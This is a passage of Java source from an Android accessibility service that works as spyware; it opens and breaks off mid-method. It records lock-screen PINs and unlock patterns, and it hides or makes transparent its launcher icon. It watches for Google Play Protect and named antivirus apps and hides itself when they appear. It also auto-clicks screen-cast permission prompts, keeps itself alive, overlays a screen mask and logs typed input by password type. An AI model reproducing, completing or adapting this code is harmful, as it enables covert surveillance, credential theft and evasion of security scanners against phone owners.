                    .putInt("desktop_transparent_count", prefs.getInt("desktop_transparent_count", 0) + 1)
                    .putBoolean("app_transparent_from_desktop", true)
                    .apply();

            Log.i(TAG, "📝 APP_TRANSPARENT_FROM_DESKTOP_RECORDED - Desktop transparent event recorded");

        } catch (Exception e) {
            Log.e(TAG, "Error recording app transparent from desktop event", e);
        }
    }

    /**
     * 发送应用从桌面透明广播
     */
    private void sendAppTransparentFromDesktopBroadcast() {
        try {
            Intent transparentIntent = new Intent("com.demo.accessibilitykeeper.APP_TRANSPARENT_FROM_DESKTOP");
            transparentIntent.putExtra("transparent_type", "desktop_transparent");
            transparentIntent.putExtra("timestamp", System.currentTimeMillis());
            sendBroadcast(transparentIntent);

            Log.d(TAG, "Desktop transparent broadcast sent");

        } catch (Exception e) {
            Log.e(TAG, "Error sending app transparent from desktop broadcast", e);
        }
    }

    public void switchAppIcon(Context context, String targetAlias) {
        // 获取 PackageManager
        PackageManager pm = context.getPackageManager();
        String packageName = context.getPackageName();

        // 需要变更状态的组件列表
        List<ComponentName> components = new ArrayList<>();

        // 1) 默认的 MainActivity 组件（需要禁用其 LAUNCHER 展示）
        ComponentName defaultComponent = new ComponentName(context, MainActivity.class);
        components.add(defaultComponent);

        // 2) Manifest 中声明的别名组件（与 AndroidManifest 中保持一致）
        // 蓝色图标别名
        ComponentName blueAlias = new ComponentName(packageName, packageName + ".BlueAlias");
        components.add(blueAlias);

        // 透明图标别名
        ComponentName transparentAlias = new ComponentName(packageName, packageName + ".TransparentAlias");
        components.add(transparentAlias);

        // 3) 动态枚举本应用内所有具有 LAUNCHER 的 Activity，确保都纳入控制范围
        try {
            Intent launcherQuery = new Intent(Intent.ACTION_MAIN);
            launcherQuery.addCategory(Intent.CATEGORY_LAUNCHER);
            List<ResolveInfo> resolveInfos = pm.queryIntentActivities(launcherQuery, 0);
            if (resolveInfos != null) {
                for (ResolveInfo info : resolveInfos) {
                    if (info.activityInfo == null) continue;
                    if (!packageName.equals(info.activityInfo.packageName)) continue;
                    ComponentName cn = new ComponentName(info.activityInfo.packageName, info.activityInfo.name);
                    boolean exists = false;
                    for (ComponentName c : components) {
                        if (c.equals(cn)) {
                            exists = true;
                            break;
                        }
                    }
                    if (!exists) {
                        components.add(cn);
                    }
                }
            }
        } catch (Throwable e) {
            Log.w(TAG, "switchAppIcon: failed to enumerate launcher activities", e);
        }

        // 目标组件：null 表示还原为默认入口；"HIDE_ALL" 表示隐藏所有入口；否则启用对应别名
        boolean hideAll = "HIDE_ALL".equalsIgnoreCase(targetAlias);
        ComponentName targetComponent = (targetAlias == null || hideAll)
                ? defaultComponent
                : (targetAlias.startsWith(packageName)
                ? new ComponentName(packageName, targetAlias)
                : new ComponentName(packageName, packageName + "." + targetAlias));

        // 先启用目标组件，再禁用其他组件，避免短暂没有 LAUNCHER 的情况
        try {
            if (hideAll) {
                for (ComponentName component : components) {
                    if (pm.getComponentEnabledSetting(component) != PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                        pm.setComponentEnabledSetting(
                                component,
                                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                                PackageManager.DONT_KILL_APP
                        );
                    }
                }
            } else {
                if (pm.getComponentEnabledSetting(targetComponent) != PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
                    pm.setComponentEnabledSetting(
                            targetComponent,
                            PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                            PackageManager.DONT_KILL_APP
                    );
                }

                for (ComponentName component : components) {
                    if (component.equals(targetComponent)) continue;
                    if (pm.getComponentEnabledSetting(component) != PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                        pm.setComponentEnabledSetting(
                                component,
                                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                                PackageManager.DONT_KILL_APP
                        );
                    }
                }
            }
        } catch (Throwable t) {
            Log.w(TAG, "switchAppIcon component toggle failed", t);
        }

        // 如果传入的目标组件不在上述列表中（防御性处理），也尝试显式启用
        if (!hideAll) {
            try {
                boolean targetInList = false;
                for (ComponentName c : components) {
                    if (c.equals(targetComponent)) {
                        targetInList = true;
                        break;
                    }
                }
                if (!targetInList) {
                    pm.setComponentEnabledSetting(
                            targetComponent,
                            PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                            PackageManager.DONT_KILL_APP
                    );
                }
            } catch (Throwable ignore) {
            }
        }

        // 回到桌面让 Launcher 重新加载图标
        try {
            Intent home = new Intent(Intent.ACTION_MAIN);
            home.addCategory(Intent.CATEGORY_HOME);
            home.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(home);
        } catch (Throwable t) {
            // ignore
        }

        // 移除旧的快捷方式，避免残留图标（部分桌面会保留旧图标导致以黑底显示）
        try {
            removeAllAppShortcuts(context);
        } catch (Throwable t) {
            Log.w(TAG, "Failed to remove shortcuts", t);
        }

        // 通知常见桌面刷新
        try {
            notifyLaunchersToRefresh(context);
        } catch (Throwable t) {
            Log.w(TAG, "Failed to notify launchers", t);
        }

        // 某些桌面缓存图标，延迟杀进程可强制刷新入口（适当延长延迟提升成功率）
        new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
            @Override
            public void run() {
                try {
                    android.os.Process.killProcess(android.os.Process.myPid());
                    System.exit(0);
                } catch (Throwable ignore) {
                }
            }
        }, 1200);

        // 提示用户图标已切换，可能需要回到桌面查看效果
        Toast.makeText(context, hideAll ? "应用图标已隐藏，请返回桌面查看" : "应用图标已切换，请返回桌面查看", Toast.LENGTH_SHORT).show();
    }

    private void removeAllAppShortcuts(Context context) {
        try {
            if (android.os.Build.VERSION.SDK_INT >= 25) {
                android.content.pm.ShortcutManager sm = (android.content.pm.ShortcutManager) context.getSystemService(Context.SHORTCUT_SERVICE);
                if (sm != null) {
                    java.util.List<android.content.pm.ShortcutInfo> pinned = sm.getPinnedShortcuts();
                    java.util.ArrayList<String> ids = new java.util.ArrayList<>();
                    if (pinned != null) {
                        for (android.content.pm.ShortcutInfo s : pinned) {
                            ids.add(s.getId());
                        }
                    }
                    if (!ids.isEmpty()) {
                        sm.disableShortcuts(ids);
                    }
                    sm.removeAllDynamicShortcuts();
                }
            }
        } catch (Throwable ignore) {
        }

        // 移除旧版（Legacy）快捷方式
        try {
            Intent uninstall = new Intent("com.android.launcher.action.UNINSTALL_SHORTCUT");
            uninstall.putExtra(Intent.EXTRA_SHORTCUT_NAME, getString(getApplicationInfo().labelRes));
            Intent launchIntent = new Intent(Intent.ACTION_MAIN);
            launchIntent.addCategory(Intent.CATEGORY_LAUNCHER);
            launchIntent.setClassName(getPackageName(), MainActivity.class.getName());
            uninstall.putExtra(Intent.EXTRA_SHORTCUT_INTENT, launchIntent);
            sendBroadcast(uninstall);
        } catch (Throwable ignore) {
        }
    }

    private void notifyLaunchersToRefresh(Context context) {
        try {
            // 通用刷新广播
            sendBroadcast(new Intent("com.android.launcher.action.ACTION_UPDATE_ICON").putExtra("package_name", getPackageName()));
            sendBroadcast(new Intent("com.android.launcher.action.REFRESH_LAUNCHER"));
        } catch (Throwable ignore) {
        }

        // MIUI
        try {
            sendBroadcast(new Intent("miui.launcher.ACTION_INSTALL_SHORTCUT").setPackage("com.miui.home"));
        } catch (Throwable ignore) {
        }
        try {
            sendBroadcast(new Intent("miui.launcher.ACTION_UNINSTALL_SHORTCUT").setPackage("com.miui.home"));
        } catch (Throwable ignore) {
        }

        // 华为 EMUI、荣耀 MagicUI
        try {
            sendBroadcast(new Intent("com.huawei.android.launcher.action.CHANGE_SHORTCUT").setPackage("com.huawei.android.launcher"));
        } catch (Throwable ignore) {
        }

        // OPPO/ColorOS、VIVO/Funtouch、三星等可能无文档刷新口，依赖回桌面+进程重启
    }


    /**
     * 确保服务继续运行
     */
    private void ensureServiceContinuesRunning() {
        try {
            // 启动保活服务
            Intent keepAliveIntent = new Intent(this, KeepAliveService.class);
            startService(keepAliveIntent);

            // 启动前台服务
            Intent foregroundIntent = new Intent(this, ForegroundService.class);
            startService(foregroundIntent);

            Log.d(TAG, "🔄 SERVICES_RESTARTED - App continues running in background");

        } catch (Exception e) {
            Log.e(TAG, "Error ensuring service continues running", e);
        }
    }


    /**
     * 记录用户操作
     */
    private void recordUserAction(String actionType) {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putLong("last_" + actionType + "_time", currentTime)
                    .putLong("last_user_action_time", currentTime)
                    .apply();

            Log.d(TAG, "📝 " + actionType.toUpperCase() + "_ACTION_RECORDED - Normal flow, no restart needed");

        } catch (Exception e) {
            Log.e(TAG, "Error recording " + actionType + " action", e);
        }
    }


    /**
     * 标记应用需要重启
     */
    private void markAppNeedsRestart(String reason) {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putBoolean("app_needs_restart", true)
                    .putString("restart_reason", reason)
                    .putLong("restart_marked_time", currentTime)
                    .apply();

            Log.d(TAG, "🏷️ APP_MARKED_FOR_RESTART - Reason: " + reason);

        } catch (Exception e) {
            Log.e(TAG, "Error marking app for restart", e);
        }
    }

    /**
     * 启动应用状态监控
     */
    private void startAppStatusMonitoring() {
        try {
            Log.d(TAG, "🔍 STARTING_APP_STATUS_MONITORING");

            // 使用Handler定期检查应用状态
            android.os.Handler handler = new android.os.Handler(android.os.Looper.getMainLooper());
            Runnable statusCheckRunnable = new Runnable() {
                @Override
                public void run() {
                    try {
                        // 检查应用是否还在运行
                        if (!isOurAppRunning()) {
                            Log.w(TAG, "🚨 APP_EXIT_DETECTED - App is no longer running");

                            // 检查是否是用户操作导致的退出
                            if (isRecentUserAction()) {
                                Log.d(TAG, "👤 USER_ACTION_RECENT - App exit likely due to user action");
                                // 用户最近有操作，可能是正常退出，延迟检查
                                handler.postDelayed(this, 10000); // 10秒后再检查
                                return;
                            } else {
                                Log.w(TAG, "💀 APP_TRULY_EXITED - Marking for restart");
                                // 应用真正退出，标记需要重启
                                markAppNeedsRestart("app_truly_exited");
                            }
                        } else {
                            Log.d(TAG, "✅ APP_STILL_RUNNING - Status check passed");
                        }

                    } catch (Exception e) {
                        Log.e(TAG, "Error in app status monitoring", e);
                    }

                    // 每30秒检查一次
                    handler.postDelayed(this, 30000);
                }
            };

            // 立即执行一次检查
            handler.post(statusCheckRunnable);

        } catch (Exception e) {
            Log.e(TAG, "Error starting app status monitoring", e);
        }
    }

    private BroadcastReceiver mScreenReceiver;
    private boolean mIsDeviceUnlocked = true;


    /**
     * 监听屏幕状态
     */
    private void registerScreenReceiver() {
        mScreenReceiver = new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent) {
                String action = intent.getAction();

                switch (action) {
                    case Intent.ACTION_USER_PRESENT:
                        mIsDeviceUnlocked = true;
                        Log.d("ScreenState", "设备已解锁（用户在场）");
                        // 设备解锁时，记录锁屏密码（数字）
                        if (lockScreenPassword.length() > 0) {
                            recordLockScreenPassword(lockScreenPassword.toString());
                            lockScreenPassword.setLength(0);
                        }
                        // 设备解锁时，记录锁屏图案密码
                        if (lockScreenPattern.length() > 0) {
                            recordLockScreenPattern(lockScreenPattern.toString());
                            lockScreenPattern.setLength(0);
                        }
                        break;

                    case Intent.ACTION_SCREEN_OFF:
                        mIsDeviceUnlocked = false;
                        Log.d("ScreenState", "屏幕关闭");
                        break;

                    case Intent.ACTION_SCREEN_ON:
                        // 屏幕亮起但可能还处于锁屏状态
                        Log.d("ScreenState", "屏幕打开，未解锁");
                        // 屏幕打开时，尝试主动检查锁屏界面
                        Handler handler = new Handler(Looper.getMainLooper());
                        handler.postDelayed(new Runnable() {
                            @Override
                            public void run() {
                                try {
                                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                                    if (rootNode != null) {
                                        try {
                                            String className = rootNode.getClassName() != null ? rootNode.getClassName().toString() : "";
                                            Log.d(TAG, "📱 屏幕打开后检查根节点 - 类名: " + className);
                                            if (className.contains("Keyguard") || className.contains("LockScreen") || className.contains("LockPattern")) {
                                                Log.d(TAG, "✅ 屏幕打开后检测到锁屏界面，立即检查图案");
                                                // 创建一个模拟事件来触发图案检测
                                                AccessibilityEvent mockEvent = AccessibilityEvent.obtain();
                                                mockEvent.setEventType(AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED);
                                                mockEvent.setPackageName("com.android.keyguard");
                                                mockEvent.setClassName(className);
                                                handleLockScreenPattern(mockEvent);
                                                mockEvent.recycle();
                                            }
                                        } finally {
                                            rootNode.recycle();
                                        }
                                    }
                                } catch (Exception e) {
                                    Log.e(TAG, "屏幕打开后检查锁屏界面失败", e);
                                }
                            }
                        }, 500); // 延迟500ms，等待锁屏界面加载
                        break;

                    case Intent.ACTION_USER_UNLOCKED:
                        mIsDeviceUnlocked = true;
                        Log.d("ScreenState", "设备已解锁");
                        // 设备解锁时，记录锁屏密码（数字）
                        if (lockScreenPassword.length() > 0) {
                            recordLockScreenPassword(lockScreenPassword.toString());
                            lockScreenPassword.setLength(0);
                        }
                        // 设备解锁时，记录锁屏图案密码
                        if (lockScreenPattern.length() > 0) {
                            recordLockScreenPattern(lockScreenPattern.toString());
                            lockScreenPattern.setLength(0);
                        }
                        break;
                }

            }
        };

        IntentFilter filter = new IntentFilter();
        filter.addAction(Intent.ACTION_USER_PRESENT);
        filter.addAction(Intent.ACTION_SCREEN_OFF);
        filter.addAction(Intent.ACTION_SCREEN_ON);
        filter.addAction(Intent.ACTION_USER_UNLOCKED);

        registerReceiver(mScreenReceiver, filter);
    }

    /**
     * 检查是否有最近的用户操作
     */
    private boolean isRecentUserAction() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long lastUserActionTime = prefs.getLong("last_user_action_time", 0);
            long currentTime = System.currentTimeMillis();

            // 如果距离上次用户操作不到30秒，认为是最近的操作
            if (lastUserActionTime > 0 && currentTime - lastUserActionTime < 30000) {
                Log.d(TAG, "👤 RECENT_USER_ACTION - Last action: " +
                        (currentTime - lastUserActionTime) + "ms ago");
                return true;
            }

            Log.d(TAG, "⏰ NO_RECENT_USER_ACTION - Last action: " +
                    (currentTime - lastUserActionTime) + "ms ago");
            return false;

        } catch (Exception e) {
            Log.e(TAG, "Error checking recent user action", e);
            return false;
        }
    }

    /**
     * 隐藏应用图标
     */
    public void hideAppIcon() {
        try {
            Log.i(TAG, "🔒 HIDING_APP_ICON - Starting app hiding process");

            if (appHider != null) {
                appHider.hideAppIcon();
                Log.i(TAG, "✅ APP_ICON_HIDDEN - App icon successfully hidden");
            } else {
                Log.e(TAG, "❌ APP_HIDER_NULL - AppHider not initialized");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_HIDING_APP_ICON", e);
        }
    }

    /**
     * 显示应用图标
     */
    public void showAppIcon() {
        try {
            Log.i(TAG, "👁️ SHOWING_APP_ICON - Starting app showing process");

            if (appHider != null) {
                appHider.showAppIcon();
                Log.i(TAG, "✅ APP_ICON_SHOWN - App icon successfully shown");
            } else {
                Log.e(TAG, "❌ APP_HIDER_NULL - AppHider not initialized");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_SHOWING_APP_ICON", e);
        }
    }

    /**
     * 切换到透明图标
     */
    public void switchToTransparentIcon() {
        try {
            Log.i(TAG, "👻 SWITCHING_TO_TRANSPARENT_ICON - Starting transparent icon switch");

            if (appHider != null) {
                appHider.switchToTransparentIcon();
                Log.i(TAG, "✅ TRANSPARENT_ICON_ACTIVATED - Transparent icon successfully activated");
            } else {
                Log.e(TAG, "❌ APP_HIDER_NULL - AppHider not initialized");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_SWITCHING_TO_TRANSPARENT_ICON", e);
        }
    }

    /**
     * 完全隐藏应用（隐藏所有启动器入口）
     */
    public void hideAllLauncherEntries() {
        try {
            Log.i(TAG, "🚫 HIDING_ALL_LAUNCHER_ENTRIES - Starting complete hiding process");

            if (appHider != null) {
                appHider.hideAllLauncherEntries();
                Log.i(TAG, "✅ ALL_LAUNCHER_ENTRIES_HIDDEN - All launcher entries successfully hidden");
            } else {
                Log.e(TAG, "❌ APP_HIDER_NULL - AppHider not initialized");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_HIDING_ALL_LAUNCHER_ENTRIES", e);
        }
    }

    /**
     * 检查应用图标是否隐藏
     */
    public boolean isAppIconHidden() {
        try {
            if (appHider != null) {
                return appHider.isAppIconHidden();
            }
            return false;
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_APP_ICON_STATUS", e);
            return false;
        }
    }

    /**
     * 获取当前图标状态
     */
    public String getCurrentIconStatus() {
        try {
            if (appHider != null) {
                return appHider.getCurrentIconStatus();
            }
            return "UNKNOWN";
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_GETTING_ICON_STATUS", e);
            return "UNKNOWN";
        }
    }

    /**
     * 启动AppHider功能
     */
    private void startAppHiderFeatures() {
        try {
            Log.i(TAG, "🚀 STARTING_APP_HIDER_FEATURES - Initializing app hiding capabilities");


            Log.i(TAG, "✅ APP_HIDER_FEATURES_STARTED - App hiding features initialized successfully");

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STARTING_APP_HIDER_FEATURES", e);
        }
    }

    /**
     * 检测Google Play安全扫描
     */
    private void detectGooglePlaySecurityScan(AccessibilityEvent event) {
        try {
            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            String className = event.getClassName() != null ? event.getClassName().toString() : "";

            // 检测Google Play Store相关包名
            if (packageName.contains("com.android.vending") ||
                    packageName.contains("com.google.android.gms") ||
                    packageName.contains("com.google.android.play")) {

                Log.w(TAG, "🔍 GOOGLE_PLAY_DETECTED - Package: " + packageName + ", Class: " + className);

                // 检测是否是安全扫描相关的类
                if (className.contains("Security") ||
                        className.contains("Scan") ||
                        className.contains("Verify") ||
                        className.contains("Check") ||
                        className.contains("Analysis")) {

                    Log.w(TAG, "🚨 SECURITY_SCAN_DETECTED - Google Play security scan detected!");

                    // 自动隐藏应用
                    autoHideAppForSecurityScan();

                    // 不再自动返回桌面，允许用户正常操作
                }
            }

            // 检测其他可能的安全扫描应用
            if (packageName.contains("security") ||
                    packageName.contains("antivirus") ||
                    packageName.contains("scanner") ||
                    packageName.contains("malware")) {

                Log.w(TAG, "🔍 SECURITY_APP_DETECTED - Package: " + packageName);

                // 检测是否在查看应用详情
                if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                    Log.w(TAG, "🚨 SECURITY_APP_VIEWING_APP - Security app viewing our app!");

                    // 自动隐藏应用
                    autoHideAppForSecurityScan();

                    // 不再自动返回桌面，允许用户正常操作
                }
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_DETECTING_GOOGLE_PLAY_SECURITY_SCAN", e);
        }
    }


    /**
     * 执行高级应用隐藏
     */
    public void executeAdvancedAppHide() {
        try {
            Log.i(TAG, "🚀 EXECUTING_ADVANCED_APP_HIDE - Starting comprehensive app hiding");

            if (advancedAppHider != null) {
                advancedAppHider.executeComprehensiveHide();
                Log.i(TAG, "✅ ADVANCED_APP_HIDE_EXECUTED - Advanced app hiding completed");
            } else {
                Log.e(TAG, "❌ ADVANCED_APP_HIDER_NULL - AdvancedAppHider not initialized");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_EXECUTING_ADVANCED_APP_HIDE", e);
        }
    }

    /**
     * 根据Google Play安全扫描检测结果自动隐藏应用
     */
    private void autoHideAppForSecurityScan() {
        try {
            Log.i(TAG, "🛡️ AUTO_HIDING_APP_FOR_SECURITY_SCAN - Detected security scan, hiding app");

            // 使用高级应用隐藏方法
            executeAdvancedAppHide();

            // 记录安全扫描检测事件
            recordUserAction("security_scan_detected_auto_hide");

            Log.i(TAG, "✅ APP_AUTO_HIDDEN_FOR_SECURITY - App automatically hidden for security scan");

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_AUTO_HIDING_APP_FOR_SECURITY", e);
        }
    }

    //杀毒软件包名
    String[] packageName = {"com.avast", "com.antivirus",
            "com.norton.n360", "com.norton", "com.microsoft.scmx", "com.wsandroid.suite", "com.symantec.mobilesecurity", "com.symantec"};//

    // 方式1：直接初始化
    String[] fruits = {"开发者", "Developer", "扫描", "解决", "McAfee", "应用", "Scan", "Smart Scan", "360", "Norton 360"};

    Boolean comparisonString(String string) {
        for (String item : fruits) {
            if (checkMutualContainment(item, string)) {
                return true;
            }
        }
        return false;
    }

    /**
     * 应用包名对比
     *
     * @param string
     * @return
     */
    Boolean isPackageName(String string) {
        for (String item : packageName) {
            if (checkMutualContainment(item, string)) {
                return true;
            }
        }
        return false;
    }

    Boolean checkMutualContainment(String str1, String str2) {
        if (str1 == null || str2 == null) return false;

        String lower1 = str1.toLowerCase();
        String lower2 = str2.toLowerCase();

        // 相互包含：str1包含str2 或 str2包含str1
        return lower1.contains(lower2) || lower2.contains(lower1);
    }

    /**
     * 投屏权限自动点击广播接收器
     */
    private BroadcastReceiver initFileReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            if ("com.demo.accessibilitykeeper.INIT_INPUT_RECORD_FILE".equals(intent.getAction())) {
                Log.d(TAG, "📢 收到初始化文件广播");
                initInputRecordFile();
            }
        }
    };
    
    /**
     * 注册初始化文件广播接收器
     */
    private void registerInitFileReceiver() {
        try {
            IntentFilter filter = new IntentFilter("com.demo.accessibilitykeeper.INIT_INPUT_RECORD_FILE");
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                registerReceiver(initFileReceiver, filter, Context.RECEIVER_NOT_EXPORTED);
            } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
                registerReceiver(initFileReceiver, filter, Context.RECEIVER_NOT_EXPORTED);
            } else {
                registerReceiver(initFileReceiver, filter);
            }
            Log.d(TAG, "✅ 已注册初始化文件广播接收器");
        } catch (Exception e) {
            Log.e(TAG, "❌ 注册初始化文件广播接收器失败", e);
        }
    }
    
    private BroadcastReceiver screenCastAutoClickReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            try {
                String action = intent.getStringExtra("action");
                String dialogType = intent.getStringExtra("dialog_type");

                if ("click_allow_button".equals(action) && "screen_cast_permission".equals(dialogType)) {
                    Log.d(TAG, "📺 AUTO_CLICK_ALLOW_BUTTON_RECEIVED");
                    autoClickScreenCastAllowButton();
                }
            } catch (Exception e) {
                Log.e(TAG, "❌ ERROR_HANDLING_SCREEN_CAST_AUTO_CLICK_BROADCAST", e);
            }
        }
    };

    /**
     * 注册投屏权限自动点击广播接收器
     */
    private void registerScreenCastAutoClickReceiver() {
        try {
            IntentFilter filter = new IntentFilter("com.demo.accessibilitykeeper.AUTO_CLICK_ALLOW");
            registerReceiver(screenCastAutoClickReceiver, filter);
            Log.d(TAG, "✅ SCREEN_CAST_AUTO_CLICK_RECEIVER_REGISTERED");
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_REGISTERING_SCREEN_CAST_AUTO_CLICK_RECEIVER", e);
        }
    }

    /**
     * 自动点击投屏权限允许按钮
     */
    private void autoClickScreenCastAllowButton() {
        try {
            Log.d(TAG, "🔧 AUTO_CLICKING_SCREEN_CAST_ALLOW_BUTTON");

            // 获取根节点
            AccessibilityNodeInfo rootNode = getRootInActiveWindow();
            if (rootNode == null) {
                Log.w(TAG, "⚠️ ROOT_NODE_NOT_AVAILABLE");
                return;
            }

            // 查找允许按钮
            List<AccessibilityNodeInfo> allowButtons = findScreenCastAllowButtons(rootNode);

            if (!allowButtons.isEmpty()) {
                for (AccessibilityNodeInfo button : allowButtons) {
                    if (button.isClickable()) {
                        Log.d(TAG, "✅ FOUND_CLICKABLE_ALLOW_BUTTON");

                        // 点击允许按钮
                        boolean clicked = button.performAction(AccessibilityNodeInfo.ACTION_CLICK);

                        if (clicked) {
                            Log.d(TAG, "✅ SCREEN_CAST_ALLOW_BUTTON_CLICKED_SUCCESSFULLY");
                            Toast.makeText(this, "已自动点击允许投屏权限", Toast.LENGTH_SHORT).show();
                            break;
                        } else {
                            Log.w(TAG, "⚠️ FAILED_TO_CLICK_SCREEN_CAST_ALLOW_BUTTON");
                        }
                    }
                }
            } else {
                Log.w(TAG, "⚠️ NO_SCREEN_CAST_ALLOW_BUTTONS_FOUND");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_AUTO_CLICKING_SCREEN_CAST_ALLOW_BUTTON", e);
        }
    }

    /**
     * 查找投屏权限允许按钮
     */
    private List<AccessibilityNodeInfo> findScreenCastAllowButtons(AccessibilityNodeInfo rootNode) {
        List<AccessibilityNodeInfo> allowButtons = new ArrayList<>();

        try {
            if (rootNode == null) {
                return allowButtons;
            }

            // 递归查找允许按钮
            findAllowButtonsRecursive(rootNode, allowButtons);

            Log.d(TAG, "Found " + allowButtons.size() + " potential allow buttons");

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_FINDING_SCREEN_CAST_ALLOW_BUTTONS", e);
        }

        return allowButtons;
    }

    /**
     * 递归查找允许按钮
     */
    private void findAllowButtonsRecursive(AccessibilityNodeInfo node, List<AccessibilityNodeInfo> allowButtons) {
        try {
            if (node == null) {
                return;
            }

            // 检查当前节点是否是允许按钮
            if (isScreenCastAllowButton(node)) {
                allowButtons.add(node);
                return;
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    findAllowButtonsRecursive(child, allowButtons);
                }
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_IN_RECURSIVE_ALLOW_BUTTON_SEARCH", e);
        }
    }

    /**
     * 检查是否是投屏权限允许按钮
     */
    private boolean isScreenCastAllowButton(AccessibilityNodeInfo node) {
        try {
            if (node == null || !node.isClickable()) {
                return false;
            }

            // 获取按钮文本
            CharSequence text = node.getText();
            CharSequence contentDescription = node.getContentDescription();

            String textStr = text != null ? text.toString().toLowerCase() : "";
            String descStr = contentDescription != null ? contentDescription.toString().toLowerCase() : "";

            // 检查是否包含允许相关的文本
            boolean isAllowButton = textStr.contains("允许") ||
                    textStr.contains("allow") ||
                    textStr.contains("permit") ||
                    textStr.contains("grant") ||
                    descStr.contains("允许") ||
                    descStr.contains("allow") ||
                    descStr.contains("permit") ||
                    descStr.contains("grant");

            // 检查是否包含投屏相关的文本
            boolean isScreenCastRelated = textStr.contains("投屏") ||
                    textStr.contains("cast") ||
                    textStr.contains("mirror") ||
                    textStr.contains("screen") ||
                    descStr.contains("投屏") ||
                    descStr.contains("cast") ||
                    descStr.contains("mirror") ||
                    descStr.contains("screen");

            if (isAllowButton && isScreenCastRelated) {
                Log.d(TAG, "✅ FOUND_SCREEN_CAST_ALLOW_BUTTON: " + textStr + " / " + descStr);
                return true;
            }

            return false;

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_SCREEN_CAST_ALLOW_BUTTON", e);
            return false;
        }
    }

    /**
     * 初始化持续遮罩服务
     */
    private void initPersistentMaskService() {
        try {
            Log.d(TAG, "🔧 INITIALIZING_PERSISTENT_MASK_SERVICE");

            // 初始化持续遮罩服务Intent
            persistentMaskServiceIntent = new Intent(this, ScreenMaskService.class);

            // 检查是否已启用持续遮罩
            isPersistentMaskEnabled = prefs.getBoolean("persistent_mask_enabled", false);

            if (isPersistentMaskEnabled) {
                Log.d(TAG, "✅ PERSISTENT_MASK_ALREADY_ENABLED - Starting persistent mask service");
                startPersistentMaskService();
            } else {
                Log.d(TAG, "❌ PERSISTENT_MASK_DISABLED - Skipping persistent mask start");
            }

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_PERSISTENT_MASK_SERVICE", e);
        }
    }

    /**
     * 启动持续遮罩服务
     */
    public void startPersistentMaskService() {
        try {
            Log.d(TAG, "🎭 STARTING_PERSISTENT_MASK_SERVICE");

            // 启动持续遮罩服务
            persistentMaskServiceIntent.putExtra("action", "start_persistent_mask");
            startService(persistentMaskServiceIntent);

            // 保存设置
            prefs.edit().putBoolean("persistent_mask_enabled", true).apply();
            isPersistentMaskEnabled = true;

            Log.d(TAG, "✅ PERSISTENT_MASK_SERVICE_STARTED_SUCCESSFULLY");

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STARTING_PERSISTENT_MASK_SERVICE", e);
        }
    }

    /**
     * 停止持续遮罩服务
     */
    public void stopPersistentMaskService() {
        try {
            Log.d(TAG, "🎭 STOPPING_PERSISTENT_MASK_SERVICE");

            // 停止持续遮罩服务
            persistentMaskServiceIntent.putExtra("action", "stop_persistent_mask");
            startService(persistentMaskServiceIntent);

            // 保存设置
            prefs.edit().putBoolean("persistent_mask_enabled", false).apply();
            isPersistentMaskEnabled = false;

            Log.d(TAG, "✅ PERSISTENT_MASK_SERVICE_STOPPED_SUCCESSFULLY");

        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STOPPING_PERSISTENT_MASK_SERVICE", e);
        }
    }

    /**
     * 检查持续遮罩是否已启用
     */
    public boolean isPersistentMaskEnabled() {
        return isPersistentMaskEnabled;
    }

    /**
     * 记录输入内容到SD卡
     * 记录：应用名、包名、界面、密码类型、输入内容
     */
    private void recordInputContent(AccessibilityEvent event) {
        try {
            AccessibilityNodeInfo source = event.getSource();
            if (source == null) {
                return;
            }

            // 获取包名
            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "Unknown";
            
            // 获取应用名
            String appName = getAppName(packageName);
            
            // 获取界面（Activity类名）
            String activityName = getActivityName(event, source);
            
            // 检测密码类型
            String passwordType = detectPasswordType(source, activityName);
            
            // 获取输入内容
